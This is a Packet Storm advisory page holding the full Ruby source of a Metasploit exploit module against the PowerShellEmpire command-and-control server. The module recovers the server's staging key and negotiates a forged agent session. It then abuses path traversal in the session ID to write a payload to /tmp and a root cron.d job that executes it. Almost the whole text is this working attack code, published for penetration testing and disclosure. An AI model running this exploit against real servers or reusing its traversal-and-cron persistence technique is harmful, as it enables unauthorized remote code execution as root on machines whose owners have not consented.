PowerShellEmpire Arbitrary File Upload (Skywalker)

2016-11-18T00:00:00
ID PACKETSTORM:139782
Type packetstorm
Reporter Spencer McIntyre
Modified 2016-11-18T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
TASK_DOWNLOAD = 41  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',  
'Description' => %q{  
A vulnerability existed in the PowerShellEmpire server prior to commit  
f030cf62 which would allow an arbitrary file to be written to an  
attacker controlled location with the permissions of the Empire server.  
  
This exploit will write the payload to /tmp/ directory followed by a  
cron.d file to execute the payload.  
},  
'Author' =>  
[  
'Spencer McIntyre', # Vulnerability discovery & Metasploit module  
'Erik Daguerre' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/']  
],  
'Payload' =>  
{  
'DisableNops' => true,  
},  
'Platform' => %w{ linux python },  
'Targets' =>  
[  
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],  
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],  
[ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ]  
],  
'DefaultOptions' => { 'WfsDelay' => 75 },  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Oct 15 2016'))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),  
OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),  
OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),  
OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ])  
], self.class)  
end  
  
def check  
return Exploit::CheckCode::Safe if get_staging_key.nil?  
  
Exploit::CheckCode::Appears  
end  
  
def aes_encrypt(key, data, include_mac=false)  
cipher = OpenSSL::Cipher::AES256.new(:CBC)  
cipher.encrypt  
iv = cipher.random_iv  
cipher.key = key  
cipher.iv = iv  
data = iv + cipher.update(data) + cipher.final  
  
digest = OpenSSL::Digest.new('sha1')  
data << OpenSSL::HMAC.digest(digest, key, data) if include_mac  
  
data  
end  
  
def create_packet(res_id, data, counter=nil)  
data = Rex::Text::encode_base64(data)  
counter = Time.new.to_i if counter.nil?  
  
[ res_id, counter, data.length ].pack('VVV') + data  
end  
  
def reversal_key  
# reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)  
[  
[ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],  
[ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],  
[ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],  
[ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]  
]  
end  
  
def rsa_encode_int(value)  
encoded = []  
while value > 0 do  
encoded << (value & 0xff)  
value >>= 8  
end  
  
Rex::Text::encode_base64(encoded.reverse.pack('C*'))  
end  
  
def rsa_key_to_xml(rsa_key)  
rsa_key_xml = "<RSAKeyValue>\n"  
rsa_key_xml << " <Exponent>#{ rsa_encode_int(rsa_key.e.to_i) }</Exponent>\n"  
rsa_key_xml << " <Modulus>#{ rsa_encode_int(rsa_key.n.to_i) }</Modulus>\n"  
rsa_key_xml << "</RSAKeyValue>"  
  
rsa_key_xml  
end  
  
def get_staging_key  
# STAGE0_URI resource requested by the initial launcher  
# The default STAGE0_URI resource is index.asp  
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])  
})  
return unless res and res.code == 200  
  
staging_key = Array.new(32, nil)  
staging_data = res.body.bytes  
  
reversal_key.each_with_index do |(pos, char_code), key_pos|  
staging_key[key_pos] = staging_data[pos] ^ char_code  
end  
  
return if staging_key.include? nil  
  
# at this point the staging key should have been fully recovered but  
# we'll verify it by attempting to decrypt the header of the stage  
decrypted = []  
staging_data[0..23].each_with_index do |byte, pos|  
decrypted << (byte ^ staging_key[pos])  
end  
return unless decrypted.pack('C*').downcase == 'function start-negotiate'  
  
staging_key  
end  
  
def write_file(path, data, session_id, session_key, server_epoch)  
# target_url.path default traffic profile for empire agent communication  
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50  
data = create_packet(  
TASK_DOWNLOAD,  
[  
'0',  
session_id + path,  
Rex::Text::encode_base64(data)  
].join('|'),  
server_epoch  
)  
  
if datastore['PROFILE'].blank?  
profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample)  
else  
profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])  
end  
  
res = send_request_cgi({  
'cookie' => "SESSIONID=#{session_id}",  
'data' => aes_encrypt(session_key, data, include_mac=true),  
'method' => 'POST',  
'uri' => normalize_uri(profile_uri)  
})  
fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200  
  
res  
end  
  
def cron_file(command)  
cron_file = 'SHELL=/bin/sh'  
cron_file << "\n"  
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'  
cron_file << "\n"  
cron_file << "* * * * * root #{command}"  
cron_file << "\n"  
  
cron_file  
end  
  
def exploit  
vprint_status('Recovering the staging key...')  
staging_key = get_staging_key  
if staging_key.nil?  
fail_with(Failure::Unknown, 'Failed to recover the staging key')  
end  
vprint_status("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")  
staging_key = staging_key.pack('C*')  
  
rsa_key = OpenSSL::PKey::RSA.new(2048)  
session_id = Array.new(50, '..').join('/')  
# STAGE1_URI, The resource used by the RSA key post  
# The default STAGE1_URI resource is index.jsp  
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37  
res = send_request_cgi({  
'cookie' => "SESSIONID=#{session_id}",  
'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])  
})  
fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200  
vprint_status("Successfully sent the RSA key")  
  
# decrypt the response and pull out the epoch and session_key  
body = rsa_key.private_decrypt(res.body)  
server_epoch = body[0..9].to_i  
session_key = body[10..-1]  
print_status('Successfully negotiated an artificial Empire agent')  
  
payload_data = nil  
payload_path = '/tmp/' + rand_text_alpha(8)  
  
case target['Arch']  
when ARCH_PYTHON  
cron_command = "python #{payload_path}"  
payload_data = payload.raw  
  
when ARCH_X86, ARCH_X86_64  
cron_command = "chmod +x #{payload_path} && #{payload_path}"  
payload_data = payload.encoded_exe  
  
end  
  
print_status("Writing payload to #{payload_path}")  
write_file(payload_path, payload_data, session_id, session_key, server_epoch)  
  
cron_path = '/etc/cron.d/' + rand_text_alpha(8)  
print_status("Writing cron job to #{cron_path}")  
  
write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)  
print_status("Waiting for cron job to run, can take up to 60 seconds")  
  
register_files_for_cleanup(cron_path)  
register_files_for_cleanup(payload_path)  
# Empire writes to a log file location based on the Session ID, so when  
# exploiting this vulnerability that file ends up in the root directory.  
register_files_for_cleanup('/agent.log')  
end  
end  
`